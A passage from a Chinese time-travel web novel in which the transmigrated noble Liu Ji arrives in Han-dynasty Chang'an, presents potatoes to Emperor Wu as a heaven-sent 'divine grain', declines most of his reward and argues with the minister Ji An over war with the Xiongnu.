“如今那人赔偿了一千钱,可谓天降意外之财,老儿高兴还来不及呢!”
“你们警觉些吧,虽郭解及其麾下多半不会报复,但这里离庄园近,万一那庄园主因为和郭解的交情而为难你们……”
刘吉意识到老翁他们生存在世,真是如履薄冰。
“不过,最迟今夏,过了之后应当就无事了。”
那时郭解如果听劝,便不会多生事端。
如果不听劝,那应该就落网了,庄园主不敢再沾染半分的。
“郎君仁善细心,叮嘱的话老儿都记住了。”
老翁却是笑容豁达,“活得久了,早已明白活着从来不易的道理。”
“郎君且宽心。”
老翁的人生智慧,比他一个初生牛马多得多了。
“那好,善自珍重。”
“老翁不必远送,我们这就走了!”
扬鞭催马。
一行五人、五马、一条狗,再次启程。
……
此后一路顺畅,午后就来到函谷关前,持身份符节核验通过后,进入关中。
到了第二天,将将日入时分。
耗时七天,刘吉一行人终于到达都城长安城外!
在安门外,有青黑色曲裾深衣冠服的数位官员,正列位等候。
为首者神情怏怏,眼皮半耷。
一副目空一切的孤高厌世模样。
“君侯可是城阳国三王弟吉?”
为首者侧后方的一位随从官员开口,拱手揖礼道。
君侯,汉时对列侯的尊称。
刘吉微微纳罕,“某正是先王——城阳共王第三子吉,诸位这是?”
“主爵都尉率臣等,在此恭迎君侯。”
随官们一起见礼。
而一脸‘尔等凡人’的为首者,只是随意地一拱手。礼还未成形,就已经撤回。
目光轻飘飘地斜扫一眼马背上的刘吉,就又去盯着地上的尘埃了。
随官们脸上的尴尬更加明显了。
刘吉翻身下马,率鲁直等人躬身回礼。
“诸位有礼。”
主爵都尉,职掌列侯等爵位的封赏、除夺等事。
而现任主爵都尉,正是被称为‘汉武朝最后的谏臣’的汲黯。
嗯,太史公对同时代有相处和交集的汲黯的评价,看来很准确。
果然是‘为人性倨,少礼’,合得来的善待之,合不来的见都不愿见。
不过,他这是被汲黯划入‘不合己者’之列了?
刘吉:啊,被历史名人讨厌了呢。
他也没惹汲黯啊!
11. 入宫上殿
依旧是由随官出面周全应酬:
“陛下闻信,得知君侯今日抵达长安,于是遣臣等接迎安顿,引导礼仪,以备觐见。”
原来如此。
刘吉他悟了。
享九卿待遇的主爵都尉汲黯,被猪猪帝派来出城迎接他——区区尚未正式封侯的王国子弟,以汲黯清高耿直的性格,恐怕是觉得在折辱他了。
所以才对他鼻子不是鼻子眼不是眼的。
刘吉未央宫的城内方向拱手揖礼,神色感动不已:“陛下恩遇,万死难报,臣侄泣涕拜谢!”
又向汲黯一行人揖礼道谢:“有劳诸位。”
哼!
汲黯哼声嗤鼻,表情更臭了。
刘吉又悟了。
他们‘好直谏’的谏臣,最讨厌的就是阿谀逢迎之辈。
随官们强掩尴尬回礼:“君侯多礼。”
汲黯老僧入定一般,完全没有回礼的意思。
刘吉面带笑容,情绪稳定。
没事哒没事哒!
汲黯可是对当时的丞相、王太后的弟弟田蚡,及后来的大将军卫青,都不行跪拜礼,只行拱手礼的。
汲黯就是那威武不屈的汉子!
城门口人来人往,气氛如履薄冰。
眼下不是说话应酬的场合,所幸必要的流程和言辞都已经结束!
随官礼让刘吉上马:“君侯请。”
“诸位请。”
主在前,客在后。
据载同样体弱多病的汲黯,骑马走在最前面,马鞭甩得咻咻破风!
刘吉一行跟随在后,进入了都城长安。
长安城的大道连着小巷,纵横交错,四通八达。
玉辇奔驰,金鞭络绎,香车宝马川流不息。
颇有唐时卢照邻诗中长安的气象。
而且道中及道旁,竟然堪称整洁!
虽然还残留着脏污存在过的痕迹,但相比雨后屎尿横流的莒城街道,已是大有改观!
在经过道路交叉的繁忙路口时,刘吉还看见道路旁的空地上,有腰悬刀笔、手持简牍的小吏在走动勘察。
刘吉骑在马上,脑内猜测:【我猜是在为公厕的修建选址。】
系统狗奔跑在地上,表示认同:【我猜也是。】
看来这根土豆牌的胡萝卜,果然该喂呀。
吃下了‘胡萝卜’,可就更要长久地相信‘谶梦’——负分评论,入梦代骂哦!
……
随官们带着刘吉走马章台街,转入藁街,来到下榻安置的住处。
至于汲黯,早已半途不告而别,跑没影儿了。
安置刘吉的住处是一座除了规整庄重,无甚出彩的宅子。
‘前堂后室’,带南院、东厨,与刘吉在城阳国莒城的宅子大同小异。
附近的宅子也都是一个模子里刻出来的。
藁街,为大汉属国使节馆舍所在地。①
而专门用来安顿入长安朝见的诸侯王的地方,也在这条街上。
藁街背靠西宫未央宫,中段往南不远就是未央宫所在西宫的北宫门。
“……君侯长途奔波,累身劳心,臣等就不打扰君侯尽早安歇了。”
为刘吉引导介绍过,随官们也都告辞了。
即使百邪不侵体的刘吉,风餐露宿赶路七日,也几乎累瘫了。
——不易生病,但是会累啊。
“宅中自带有仆役,你们就去别忙活了。喊人简单煮些粥羹或汤饼,吃过垫一垫肚子了,先睡上一觉再说。”
“喏,谢郎君体贴!”
陶杯和陶盘也累得懒怠动弹,没再坚持亲自服侍刘吉。
几人吃过夕食,仆役又提来热水盥洗过,终于都舒舒服服躺下了。
啊哈!
刘吉喟叹一声,整个人摊平在被褥间。
天塌下来都不能阻挡他睡觉!
……
一夜酣眠无梦。
第二日清早,汲黯的随官就再度光临宅院,并带来一个急匆匆的消息。
“陛下将在今日午后,于宣室殿召见君侯,接受君侯献宝。届时还将有陛下信重的数位公卿在旁见证。”
“时间紧迫,臣先与君侯引导觐见礼仪,再洗漱整装入宫。”
皇帝召见是在午后日跌时分,那至少得在正午日中时分,就已经到宫中候着了。
可不好踩点到,甚至倒反天罡,让皇帝与公卿们等候。
刘吉的赖床懒觉没睡成,急匆匆起床,又急匆匆嚼了两个烤饼。
他本来习惯早上吃片儿汤的,结果被随官劝阻:
“汤水利尿通便,恐君前失仪,君侯还是进食一些干饼、肉脯为宜。”
接着刘吉又急匆匆地接受礼仪教导。
再急匆匆地沐浴盥洗,换上陶杯提前准备好的崭新冠服。
最后他打算抓紧时间吃个午饭,又被劝住:“民与士,一日两食,朝夕而食也。”
“皇帝一日四食,少阳、太阳、少阴、太阴四始之时则食也。”
“公侯之列,多有一日三食者也。然今日事急,且面君当恭慎,腹内不饥则可,君侯少食为宜。”
简而言之:怕吃多了,管不住屎尿屁。
刘吉谦虚受教了。
不过嘛,他就要见到猪猪帝了,多少有点紧张兴奋激动,也没什么胃口。
被召见的只有刘吉一人,就算陶杯和鲁直等四人已经走马上任侯洗马、侯中庶子,也远远不够格面见天颜。
于是刘吉告别四人只身前往:“你们安心留守,我这就进宫去了!”
四人将刘吉送上马车,“郎君放心,仆臣等必安分留守,祝郎君此去遂意!”
车驾辘辘,直行藁街上。
行到中段转向南,不多时便到了北宫门外。
在后车同行的随官带领之下下车,宫门卫士上前搜检。
通过搜检,再上车前行。辘辘行过半晌,来到了未央宫的前殿门外,再次有宿卫郎官上前搜检。
不过这两次搜检,倒是都未开箱搜检刘吉亲自怀抱的宝箱——裹布已经掀了,露出的箱子四尺见方,黄土之色,非金非玉质地。
二次搜检通过后,又弃车步行。
终于踏进了西汉帝国的大朝正殿——未央宫前殿。
放眼望去,怎一个雄伟大气可言!
他前世参观过故宫,可如果与眼前所见试论雄伟,只能说尤逊三分。
前殿又分前、中、后三殿。
有谒者上来接替随官在前引路,继续前行,目的地是未央宫前殿的中殿——即宣室殿。
等到了宣室殿外的时候,再次经过了一道宿卫郎官,最后被带到东偏殿的一间屋室里等候。
看了一眼室中的漏刻,日中将过,午后将至。
不早不晚,时间刚刚好。
今天不逢常朝,据说召见时会在场的公卿并没在此等候。
应该是先进殿去了,或者本就在内议事未出。
刘吉没等多久,就有谒者前来宣召:“陛下召见,君侯请随臣前往。”
“有劳。”刘吉从席上起身,跟随在后。
走宣室殿正殿前的右侧阶梯,拾级而上,好似攀登天梯。
一步一梯,尽显皇权巍巍。
终于来到殿门外,刘吉止步。
谒者入殿禀告。
不久传出宣召:“宣城阳王三弟吉、进见!”
刘吉整衣脱履。
迈步跨过殿门,脚下小碎步跺起来——趋行入殿。
趋行途中,视线余光悄眯眯扫视,果然是——
木兰为栋椽,杏木作梁柱,椽头敷金箔,门扉雕金纹,地铺紫红砖,壁带金光闪,间镶奇玉石!
未央宫的雄伟豪华,诸宫无出其右。
另外,不同于影视剧中的秦宫汉廷,殿中陈设的铜器们,并非青绿色。
而是或黄或白,明亮耀眼的颜色,看着金碧辉煌的!
刘吉:未央宫的保洁仆役们没偷懒。
没胆子堂而皇之地,让铜器锈迹斑斑。
……
宣室殿高大又宽阔。
刘吉趋行片刻才来到御前,把怀抱着的箱子放下。
箱子颇有分量,落地时砸出‘咚’的一声。
在安静的宣室殿里,颇为明显。
刘吉神情似窘迫,但稳住了仪态。退后
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一步,面君行跪拜之礼。
然而跪地拜俯下去以额触手背时,似乎是距离估算失误了,额头磕到了箱壁上。
咚。
声音不大,但在安静的宣室殿里,清晰可闻。
刘吉敏捷后撤,才囫囵地行了一个礼。
“臣侄吉、拜见陛下!”
殿中回荡的声音清越,殿上跪拜的身线雅美。
再回想青年趋行入殿时,顶着的那一张清隽面庞,真道是好一个无缺的俊雅公子!
如果殿上君臣没有听见那咚咚的两声响,没有看见他行礼时的小冒失的话。
还是一个会局促的小年轻呐。
“起吧。”刘彻语带笑意,末了还揶揄一句:“仔细些,别碰到头了。”
“臣侄谢陛下!”
刘吉谢恩起身,看得出他努力了,但神情里到底泄露了几分羞赧。
殿上的冷肃气氛于无形间消融,叔侄温馨的氛围开始弥散开来。
刘吉又折腰躬身,向殿中分列跪坐席上的数位公卿行礼。
也是面带赧然:“吉在此见过诸公,失礼之处,祈请诸公多多海涵。”
见礼与言辞算不上多正式,是初会的见礼,也是以后辈之身,为方才的小冒失而致歉。
可爱又礼貌的好看后辈,即便不偏爱三分,也不会刻薄为难。
以丞相薛泽为首的公卿们,好些都能做刘吉的祖父辈了,此时多数都微笑颔首回礼:“君侯多礼。”
他们固然是朝中秩禄二千石的公卿,刘吉却也(将)是封土列侯,互相尊称是应当的。
刘吉转着圈行礼之际,视线也在席上公卿们身上扫过。
嗯,不怎么认识。
不过可以推测,在场应该是三公——丞相薛泽、御史大夫张敺。太尉空缺,该官职自田蚡之后,就省去不设了。
九卿——太常孔臧、卫尉韩安国、太仆公孙贺、廷尉翟公、宗正刘弃①、大农令郑当时,少府令、大行令、郎中令等。
另有中尉赵禹,右内史潘系、左内史公孙弘。
以及享受九卿待遇的主爵都尉汲黯。
也是少数一个,仍旧对他冷脸相对者。
都是谁不重要。
反正也没给他贡献签到的月石奖励。
刘吉可没忘记,他今天的第一要事是献宝。
和公卿们都见过了,又向上首的刘彻躬身揖礼。
“臣侄问皇叔好!”
也终于借机抬眼,得见汉武帝真容——
青年天子头戴通天冠,身穿玄赤色曲裾深衣,意势隆盛,威踞上首。
当一个人蕴养出一身浑然天成的气势之后,五官长相反倒在其次了。
当然,汉武帝五官立体,长相也不差就是了。
刘吉甚至在对方的眉眼之间,感到了一丝眼熟。
二人的叔侄血脉已经远了,但大概到底是一脉相承的血缘,两人的眉毛和眼睛,长得至少有六七分像。
但是综合了五官和气质来看整体的话,却是一个霸道威势,一个清隽文雅。
刘彻也发现了二人眉眼间的相似。
众多宗室子弟,甚至是周岁的长子,都没有与他长有如此相似的眉眼。
于是不自觉地,刘彻对刘吉又额外生出两分喜爱。
“好,朕素日安好。”
“来人,赐座。”
有侍立的宦者闻声上前。
给刘吉在殿中铺了一张单人蒲席,放上一个支踵。
刘吉却避席不坐,继续揖礼谢道:“臣侄谢陛下赐座。然而臣侄惟愿将宝物献给陛下,否则不能安坐!”
陛下、皇叔,看似紊乱变换的称呼,实则对应的是公私分明。
在君臣与叔侄的身份关系之间,切换丝滑。
刘吉入殿后的言行,以及相似的眉眼,固然让刘彻生出了两分喜爱。
但相比对‘神粮’的热切期盼,就都不值一提了。
尽管尚未确定刘吉是否为‘有缘人’,他所献宝物是否为神粮马铃薯。
“既然你有如此孝心,那就先献宝罢。”
语气云淡风轻,投注在宝箱上的目光却已灼热无比!
12. 殿上献宝
四尺见方,大地黄色,非金非玉。
殿中公卿们的目光,悉数集中在刘吉面前的箱子上。
陛下今日将他们召来,只议了数件不痛不痒的政事,显然重点是让他们见证刘吉的献宝。
而在昨日,还指派了汲黯亲自出城迎接刘吉。
这不由得让公卿们好奇:城阳共王第三子,献的什么宝?
刘吉不打算在猪猪帝期待礼物时,还吊胃口、卖关子。
但一些来龙去脉的铺垫,还是要的。
“十日前的夜晚,臣侄梦中忽闻一声音道:城西三十里,小丘有孤树,根埋至宝可济世。”
托梦的说辞一开场,殿中公卿们看似倾耳细听,心里到底是何想法无人得知。
只有汲黯的排斥不加掩饰,倒没嗤鼻出声,无礼打断。
唯有上首的刘彻,闻言瞬时难掩激动,目光灼热。
“哦?!”
梦中闻天音。
可谓‘济世’的至宝。
愈发接近他所愿了!
刘吉看猪猪帝难掩激动的模样,心想要是自己献上的不是土豆,让他的期待落空了。
就算外人尚且不明真相,猪猪帝还没丢一个大人,怕也还是会迁怒他、让他落不着好吧?
但他今天就是为让猪猪帝得偿所愿而来。
“臣侄自幼多病,素来少眠多梦,并不把梦当回事。”
刘彻心绪随之紧张。
但很快又意识到,既然刘吉此时已经站在这里……
果然,刘吉继续讲述:“但那晚的梦格外不同,似乎是怕臣侄遗忘或不经心,梦中声音一连说了三次。”
刘彻:对朕只用说一次就足矣。
“因此第二日一早,臣侄醒来时仍记得梦中之言,发现竟有‘济世’之语,便不敢轻忽。”
“连日以来,臣侄一直感恩陛下颁布诏书,分封列侯的大恩大德,又思及来日便要肩负一国生民,当即就决定进王宫求见王兄,请求出城寻宝。”
刘彻听着,心里有些得意。
不仅是因为神粮将得,也因为刘吉的深厚感恩正好验证了推恩策的正确。
若非如此,假使刘吉只是一介庶民,或许也会在意梦中所说的至宝。
但他会重视济世之言,并奔赴长安献宝吗?
普通庶民想要离开郡国,千里迢迢赶到长安,可谓百般艰难。
悄悄挖得至宝,无声无息昧下私藏,才是寻常小民的一般行径。
刘彻此时颇有一种‘种下善因、得了善果’的丰收喜悦。
“之后臣侄出城,向西行三十里,果见一个顶生孤树的小山丘!”
“于是依梦中之言,在树根处向下挖掘,竟真掘出了一个裹布的宝箱!土黄之色,非金非玉。”
刘吉示意面前的箱子。
土黄色,造型简约,质感高级。
但本质也只是一个塑料箱子,要说先进之处,则是可以无害降解。
但却是汉武君臣们,见所未见之物。
公卿们听了刘吉讲述的托梦寻宝经历,又仔细看了宝箱,终是陆续变了神色。
就是汲黯也面带两分好奇。
刘吉所言真假,有迹可查的部分都不难查证。
当然,作为斩白蛇起义的高祖后裔,他们也明白祥瑞的背后,不可查证的那些猫腻。
眼下只等宝箱打开,就知今日这场献宝的真假与分量了。
“你可打开看过,宝箱中是何济世至宝?”刘彻上身微倾,问道。
刘吉诚挚地摇头:“臣侄不曾打开看过。”
刘彻挑眉,公卿侧耳,等着听刘吉有何说法。
“臣侄并无开启宝箱的钥匙。且臣侄德行卑微,岂敢开启天赐宝箱?济世至宝,当由陛下亲启!”
刘吉的吹捧稍显露骨,但又因为首先交代了没有钥匙的现实,浮夸中又掺入两分质朴,听着也没那么腻味了。
当然事实真相是,刘吉身形韧直,面庞俊秀,为这句吹捧平添五分可信度。
简言之,看脸。
“哦?”刘彻双掌撑住案沿起身,绕出来下台阶。来到刘吉面前的宝箱前,俯身观察。
宝箱严丝合缝,上面没有挂着常见的铜锁头。
却在箱身和箱盖之间,横爬着一处方形凸起,上面四个齿轮状之物。
刘彻手指拨弄其中一个齿轮,齿轮转动,从空位转出个‘壹’字。
刘彻忽然福至心灵。
上手依次拨动四个齿轮,拨至“叁空叁空”的位置。
咔嗒!
箱盖弹起。
刘吉:他还没在接下来的探讨开箱环节,暗示密码是3030呢!
好吧,不愧是猪猪帝,只根据初始线索就猜出了他改设的密码。
但实际上刘彻也很意外,他真的只是尝试拨弄,依据也只是:他今年三十岁、宝物埋在城西三十里。
但既然宝箱已经打开,刘彻也就维持了他高深莫测之姿,运筹帷幄之态。
何况既然他一举就开启了宝箱,谁又能说这不是上苍对他的偏爱呢?
翻开箱盖,探头去看,就见到了箱中整齐嵌放的至宝——
色如土,形如卵,大胜拳。
正是界外宇宙的高产之粮——马铃薯!
为防马铃薯碰伤,用了一看就软弹的雪白厚板,挖出大小刚好的洞,将其稳稳镶嵌其中。
看宝箱深度,应该垒了数层。
箱中的马铃薯皮肉完整,没有碰伤破皮。
“善!善!善!”
刘彻三声喝彩,喊得好奇凑过来瞧瞧的公卿们一惊。
百官之首的丞相薛泽作为代表发问:“陛下可是识得此宝?臣等孤陋寡闻,却是见所未见了。”
刘吉也和殿中公卿一样,向刘彻投去好奇的目光,盼望解惑。
被众人瞩目的刘彻,从宝箱中取出一颗马铃薯,双手珍重地捧起,轻抚摩挲。
“此物为界外后世宇宙的高产之粮,谓之马铃薯。”
“不生病虫害,切芽块埋种,侍候勤劳,可亩收百石。”
汉承秦置,由秦官治粟内史改名的大农令。
职掌国家租税、盐铁、钱谷与财政收支,是后世户部尚书的先祖。
现任大农令正是郑当时,闻言惊呼:“亩收百石……六十倍于稷粟麦!”
“这马铃薯之巨丰,可六十倍于五谷之粮!?”
满殿公卿皆惊,不可置信!
想斥责简直是胡言乱语,但话又是出自陛下之口,天子之言!
宝物来路玄异,宝箱非金非玉。
不曾见过的锁头,陛下却能信手拨开,更是言辞笃定……
今日的一切,都太过玄异,以至于他们不敢轻言决断。
刘吉跟着惊呼:“亩收百石,还不生病虫害!这样高产,堪
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称神粮!”
又连连感叹:“难怪梦中声音言‘济世至宝’!亩收百石,足以担当济世之名了!”
刘彻也想起梦中之言:“然此粮也有缺憾,皮嫩易破,破则易腐,不胜颠簸远输。窖藏亦难逾年,唯即收即食。”
“不过,救灾济荒足矣。”
郑当时已顾不上礼数,也拿了一颗马铃薯在手里端详起来,确是他未曾见过之物。
他已经信了天子之言,一时激动得手脚颤栗。
仍然不敢相信:“这,这,这竟能亩收百石!”
郑当时此时的心情,和那晚刘彻的同步了。
“若能亩收百石,其他缺憾都不值一提!不值一提!”
其他人也都围拢了起来,齐刷刷探头去瞧宝箱里的神粮之种。
大胜拳头,圆润水灵,看着可爱得很!
长安二行政长官之一的左内史公孙弘,发挥他会说话的高情商:
“臣恭贺陛下!陛下德行动天,今赐下神粮之种,济世活民,大汉天下、将再无饥馑!”
公孙弘这一开口,唤醒了还在激动恍惚中的公卿们,随即也齐齐恭贺:“臣等恭贺陛下!”
“陛下德行动天,得赐神种!”
“济世活民,天下无饥馑!”……
汲黯固然也高兴,心底却不由反驳:
若要天下再无饥馑,唯有清静少事,无为而治,不兴兵戈。
否则便是天赐神种,却无农夫耕种,也要饿死!
崇尚黄老道学,奉行清静无为的汲黯,与尊崇儒学,锐意进取的汉武朝,似乎有些格格不入。
……
刘彻没有向殿中公卿们解释,他是如何知道开启宝箱之法,又是从何得知神粮马铃薯的。
就连今日他召来公卿,一起见证刘吉献宝,也似乎是早有预料。
事情越发神秘了。
皇帝刘彻,似乎也随之蒙上了一层神秘面纱。
高兴过后,刘彻将马铃薯放回宝箱,坐回上首。
笑问刘吉:“你献宝有功,想要朕如何奖赏你?”
前几日等待有缘者的忐忑心焦,此时一朝散尽。
天赐神粮也已落袋为安。
现在的刘彻很愿意厚赏刘吉。
刘吉也知道,猪猪帝一方面对人才严峻苛刻,丞相都当耗材使用。但同时,他对人才也是大胆提拔,慷慨封赏。
对献宝有功的自己,此时必然也是真心实意地欲行厚赏。
对方慷慨奖赏,他却不好表现得贪得无厌。
“臣侄不要奖赏!”
刘吉开口拒绝,言语诚挚激昂:“臣侄入长安献宝,本就不是为求奖赏!臣侄是为谢恩而来!”
说辞一如城阳王奏书所写,他刘吉入长安是为了献宝,更为了谢恩。
“臣侄本是一无所有的庶人之身,才疏学浅,德行卑微,全赖陛下德政仁爱,王兄慷慨厚义,方才有望列侯之尊、食邑之足。”
“陛下于臣侄,不啻有再造之恩!”
“臣侄万幸,上天方才借臣侄之手,将赐予大汉和陛下的神粮献给陛下。举手之劳,尚不能报得陛下厚恩之一二!”
“臣侄如何能厚颜再要奖赏!?”
系统:【……马屁精。】
刘吉:【我身上密密麻麻,都是狼灰你贴的标签。】
【我真的好伤心。】
系统:【……】
13. 猛猛进攻
不说殿中公卿,就是汲黯看刘吉的眼神都隐隐奇异起来。
看这一腔热血只为报君恩的样子,真真切切不能更真了。
有进献神粮这等大功,却拒绝奖赏。
难不成,刘吉真不是那阿谀奉承之徒,反倒是赤忱感恩之辈?
刘彻目光久久地停驻在他这远房侄子脸上,等他滔滔说完。
才确认地问道:“真不要奖赏?”
“真不要!臣侄即将为列侯之尊,还要何奖赏?”
刘彻的笑容展开:“然朕向来有功必赏。你既将为列侯,那索性封你为王,如何?”
居功不自傲,报君不求赏。
总是更令人心情愉悦的。
刘吉惶恐摆手:“臣侄才疏学浅,德行卑微,又自幼体弱,这都已经在忧心就封侯国之后,不能担国民之重了。更遑论王国?!”
削藩集权大势之下,分封王侯?
“陛下若封了王侯,臣侄怕是要日夜忧思,殚精竭虑而死了!”
大汉开国最大功臣——兵仙韩信都死得,他刘吉献个粮种还死不得了?!
——诚如先前所言,利用系统功能,扯虎皮大旗,或许能谋求不死。可是提心吊胆、钩心斗角的日子,他不想过一辈子。
刘彻略思忖后,又提议:“既不要封王,那就给你在列侯封国之民以外,再增封两千户,如何?”
刘吉仍不动心:“臣侄只生了一张嘴,从列侯依例应有的封民那儿收上来的税赋,已经足够吃了!”
“况且,增食两千户,不是也要额外牵系两千户的生民吗?臣侄哪里担得起!”
增封?
他怕有命接,没寿享。
刘彻蹙眉似苦恼,再次提议:“那赏你黄金千斤?”
“……”
终于,刘吉闻言一顿。
尔后肉眼可见地,神色赧然局促。
“臣侄倒不是酷爱黄金。”首先自我开脱。
“只是臣侄自幼多病,不能经营生财,可治病养身又费钱,这些年幸亏王兄慷慨厚爱,方得安身。若皇叔……”
“皇叔怜爱,愿赏赐臣侄一些钱财,臣侄感恩万分。但黄金不必千斤之巨,太多也不过放着遭虫食而已。百斤足矣!”
“哈哈哈!”终于刘彻爽朗大笑。
“吞金自戕,也是一种死法呢。虫蚁可不会去啃食赤金!”
刘吉局促笑着:“臣侄一人,实在是用不了那许多金钱。”
黄金千斤,即黄金一万六千两。
黄金百斤,就是一千六百两!
古今度量衡换算以后,也有约五百市斤,即约二十五万克啊!
但是对汉武帝刘彻来说,黄金千斤的奖赏也不过是九牛一毛。
君不知,在今后四年间,卫青连击匈奴,士兵斩杀俘虏敌人而受赏赐的黄金,也有二十余万斤了!
刘彻慷慨挥手:“那就奖赏你黄金千斤,布帛千匹!”
城阳王慷慨与否两论,朕必是慷慨的。
刘吉还欲推拒,刘彻立手阻拦:“君长赐、不可辞。朕既赏你了,便安心接着。”
“臣侄谢陛下赏!”刘吉感恩戴德,跪拜谢恩。
发了!
发了!!
【恭喜成功签到[历史名人:汉孝武皇帝刘彻]!】
【恭喜您获得1000月石!】
……
但刘吉并非那久贫乍富,反将钱财看得比命重的守财奴。
心里欢呼过,等谢完恩起身时就已经平静下来,也没忘记先前的打算。
于是刘吉再次折腰揖礼:“臣侄感恩陛下厚爱,然先前所言也不是虚言托词。黄金百斤,就已足够臣侄就封侯国并安家的花销了。”
“黄金千斤,臣侄实在不敢贪婪受领。”
刘彻心间闪过主父偃的脸,他可是没少向诸侯索贿呢。
一个青年意气风发,志向激昂;一个老年暮气熏染,倒行逆施,贪婪可憎。
“哦?那你的意思是?”
刘吉不知道他无意中卷到了主父偃,组织语句回答:
“臣侄听闻车骑将军率将士抗击匈奴,捷报频传,收复秦末丢失的河南地故土也已在望!”
“臣侄身为中原百姓之中一人,听闻喜讯也是欣喜鼓舞,只恨不能像车骑将军和众将士一般英勇杀敌!”
“唯有将陛下赏赐的金帛,分取九成,赠予为国阵亡将士们的遗属,以感谢、抚慰他们的父亲、夫君、儿郎的为国牺牲。”
刘彻的目光再一次良久地停驻在刘吉脸上。
听他慷慨陈词,看他脸上毫不作假的激动豪情。
毋庸置疑,刘吉是发自真心地热爱大汉,尊敬抗击匈奴的前线将士。
也是真心愿意捐出九成金帛赏赐,赠予阵亡将士的遗属。
没有丝毫作假。
“果真?”刘彻还是确认问道。
“君子一言,驷马难追。”刘吉神情坚定得像入党宣誓。
“哈哈哈哈!”刘彻突然爆笑出声。
笑声回荡在高阔的宣室殿中,久久不止。
上首的皇帝久久但笑不语。
殿中的公卿一时不曾出声。
他们能感觉到,皇帝此时心绪之激荡,不同寻常。
良久,大笑停止,刘彻似喃喃自语:“收复故土,百姓鼓舞啊。”
殿中公卿只是一时不语。
刘吉大概能意会到刘彻的豪情与感慨,说到他心坎儿上了吧。
但重点你就不念叨了?抚恤军属啊!
耿直的谏臣汲黯,他无所畏惧。
他看不惯刘吉吹捧大汉抗击匈奴的国策,他就要说出来!
接下来,听起来是顾左右而言他。
实则是汲黯开始了漫长的技能前摇——
“陛下凭先烈之积蓄,因忿恨匈奴、两越之害,即位数年,就使严助、朱买臣等招服东瓯,平定两越。
于是江水、淮水一带骚动混乱,造成的耗费巨大!”
汲黯看向刘吉本已有所和缓的目光,重新严苛起来。
横眉怒目,眼睛圆圆地瞪着刘吉。
刘吉还在心里组织语言反驳,而不愧是专业谏臣的汲黯,已经嘴皮子极溜地继续陈斥:
“又有唐蒙、司马相如,始开西南夷之通道,凿山开道千余里,以便扩大巴、蜀之地。
其间筑路者数万人,千里运送粮饷,运费甚巨!转而在邛、僰之地散币购粮。
巴、蜀租赋不足以补偿开道之费,就招募豪富垦耕西南夷之地,交粮与县官,取钱于府库内。
于是巴、蜀百姓,疲惫凋敝!”
“又有彭吴开辟东夷秽貊、朝鲜,及至去年秋,东夷族秽君南闾等二十八万人降汉,又置沧海郡。
于是燕、齐之地又消耗了巨大征调的军需。劳役之费,堪比西南夷!”
“到了王恢设伏马邑事败,匈奴断绝和亲,侵扰北方边地,卫青每年率几万骑兵出击匈奴。
终于全国均受劳苦!”
“东南西北多处靡然巨费,以致大汉府库空虚!”
“臣以为,君侯你即便散尽家财,亦不能周济万分之一!”
刘彻就像是一蓬火势正旺的烈火,腾腾燃烧时,突然被倒了一缸冷水。
眼见是脸色如炭,头顶冒烟了!
汲黯看似奚落刘吉,实则在骂朕呢!
但没等刘彻开口,刘吉就已看似茫然地开问:
“主爵都尉的意思是,大汉不该对匈奴用兵?”
阴阳一个人而已,技能前摇和燕国地图一样长。
汲黯冷然坚定:“君侯固然有进献神粮之功,但若要天下再无饥馑,唯有清静少事,无为而治,不兴兵戈。”
“否则便是天赐神粮,却无农夫耕种,也要饿殍遍野!”
大概是话不及时说出来,过夜就馊了吧。
汲黯到底是在这大喜关头,说出了他心里所想。
但生于东方神秘大国,长于世界格局巨变之初的刘吉,他可不是国内早些时候的理智公知!
设身处地想想,谁能忍受东大的邻国年年入境挑衅,没事儿杀掠千把个人民玩儿,而东大却不敢吭声儿不敢回击?
反正他不能!
刘吉零帧起手,就是阴阳:“怎么?在马邑之谋以前,匈奴就是良善好邻居,与大汉相亲相爱的一家人,不曾进犯侵扰大汉?”
那白登山上被围的是谁!
及至后来,这边和着亲呢,那边不还是照样劫掠!
刘吉斜眼看汲黯,追问对方:“全国因出击匈奴而颇受劳苦,就不管犯边的匈奴了?”
“以你之意是,牺牲北疆百姓的性命,总比全国百姓受累要好?”
这会儿牙尖嘴利进攻性强,人设ooc了?呸,他人设灵活着呢!
但唯独不会是哑巴受气包人设。
“怎么?北疆百姓就比其他地方的百姓命贱啊?”
真敢大张旗鼓地承认,信不信北地百姓反一个给你看看!你汲黯敢承认,遗臭万年信不信!
“不说一方有难、八方支援,你甚至想用北疆百姓的血肉筑起城墙,以求苟安后方啊?!”
籍贯位于匈奴劫掠区的刘吉,可听不得这种话!
汲黯急忙反驳:“我何曾有过这话……”
他只是信奉黄老之学,惟愿清静少事……
刘吉直接抢白:“怎么?每年匈奴‘杀掠吏民数千人’的进犯战报,是假的吗?北疆官民流的血,是假的吗?!”
常在互联网冲浪的人都知道,吵架对线从来不需要腚对腚眼对眼,有条有理地一一辩驳。
只需抓住一处破绽,猛猛进攻就行。
刘吉根本不管汲黯的西南夷、两越之类的,就只抓住匈奴一处。
反正争执是因匈奴问题而起,焦点也是对匈奴的国策是战是和。
汲黯张口辩驳:“匈奴进犯北边,是纤芥之疾;劳苦全国百姓,却是覆国之危!如何能相提并论?!”
刘吉的心火是欻欻直往上蹿!
“说白了!
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你不过就是觉得每年被匈奴杀掠几千人,这事不值一提!
反而觉得,如果每年向匈奴进献几千汉人,就可换得一年和平,这笔买卖还很划算!”
就像是和亲一样,嫁去一个又一个大汉公主,就能与匈奴维持数十年表面和平,他们也觉得是一笔划算买卖。
汲黯被刘吉的曲解假设,噎得心塞窒息。
“强词夺理!强词夺理!”
他何曾说过每年向匈奴主动进献数千汉人,以求苟安!
但置之不理,任其劫掠,本质上又有什么不同呢?
“你急了你急了!”刘吉是越战越勇。
“可主爵都尉,你殊不知,你所谓的顾全大局的谬论,才是覆国之因!”
“你!你!”汲黯浑身颤抖。
汲黯不至于是刘吉话中这等无耻之人,但吵架嘛,气势第一。
刘吉开始假设:“今日匈奴杀掠大汉数千人,大汉不予痛击,苟且偷安。来日匈奴得寸进尺,杀掠上万人,大汉又是否予以抗击?”
“恐怕以主爵都尉之意,万人边疆百姓性命,换得中原千万汉人安宁,这买卖倒也划算?”
“但若再进一步,杀掠数万人呢?数额都与你所说巴、蜀筑路者齐平了,那时是否要予以抗击?”
汲黯想要分辩:“可适度抗击……”
“适度?”刘吉立即抢白。
刘吉他笑了。
“怎样的适度?刚好拦阻匈奴,不进不退?”
“那你有没有想过,如何能恰恰刚好?就算能,不还是要消耗将士性命、府库粮饷,才可一直维持平衡吗?”
就像鹅乌、中东战场上的适度?
刘吉抛开脑中闪现的黑色笑话,继续说:“恰恰正是这种适度,才最是虚耗粮饷、性命!
